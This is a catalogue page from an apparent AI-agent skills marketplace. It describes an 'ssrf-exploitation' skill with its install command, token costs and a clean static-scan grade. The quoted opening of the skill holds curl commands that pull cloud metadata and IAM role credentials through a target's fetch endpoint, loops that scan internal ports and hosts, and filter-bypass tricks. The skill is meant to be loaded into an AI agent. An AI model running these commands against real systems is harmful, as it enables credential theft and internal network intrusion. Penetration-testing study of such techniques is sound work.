Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill ssrf-exploitationgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ssrf-exploitation)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ssrf-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/ssrf-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ssrf-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/ssrf-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00062 | $0.02320 |
| Opus 5 | $0.00031 | $0.01160 |
| Sonnet 5 | $0.00012 | $0.00464 |
| Haiku 4.5 | $0.00006 | $0.00232 |
Grade A, and why
ssrf-exploitation scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 157 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Server-Side Request Forgery (SSRF)
Exploits server-side URL fetching to access internal services, cloud metadata, or internal APIs not reachable from external networks.
Detection
# Test with callback server
curl -s 'https://<TARGET>/fetch?url=http://<CALLBACK>/ssrf_test' -o ssrf_callback.txt
# Test localhost access
curl -s 'https://<TARGET>/fetch?url=http://127.0.0.1/' -o ssrf_localhost.txt
# Common SSRF parameters: url, uri, path, src, dest, redirect, img, load, page, feed, to, out, ref
Cloud Metadata Exploitation
# AWS IMDSv1
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/' -o ssrf_aws_meta.txt
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' -o ssrf_aws_role.txt
# Then fetch role credentials:
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>' -o ssrf_aws_creds.txt
# GCP
curl -s 'https://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true' -H 'Metadata-Flavor: Google' -o ssrf_gcp_meta.txt
# Azure
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01' -H 'Metadata: true' -o ssrf_azure_meta.txt
# DigitalOcean
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/v1.json' -o ssrf_do_meta.txt
Internal Service Scanning
# Scan internal ports via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
curl -s -o /dev/null -w "Port $port: %{http_code} (%{time_total}s)\n" \
"https://<TARGET>/fetch?url=http://127.0.0.1:${port}/"
done > ssrf_port_scan.txt
# Internal network scanning
for i in $(seq 1 254); do
curl -s -o /dev/null -w "10.0.0.$i: %{http_code} (%{time_total}s)\n" \
"https://<TARGET>/fetch?url=http://10.0.0.${i}/" --max-time 3
done > ssrf_internal_scan.txt
Bypass Techniques
# IP address variations for 127.0.0.1
# Decimal: 2130706433
# Hex: 0x7f000001
# Octal: 0177.0.0.1
# IPv6: [::1], [0000::1]
# Shorthand: 127.1, 127.0.1
# DNS rebinding — point DNS to 127.0.0.1
# URL encoding
# http://%31%32%37%2e%30%2e%30%2e%31/
# Redirect bypass — host a redirect from your server to internal target
# https://<YOUR_SERVER>/redirect?to=http://169.254.169.254/latest/meta-data/
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 157 lines · 62 tokens per session scan E 228175a8353b
ssrf-exploitation is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 62 tokens to every session and 2,320 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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../../../pentest/web-app-pentest/SKILL.md.
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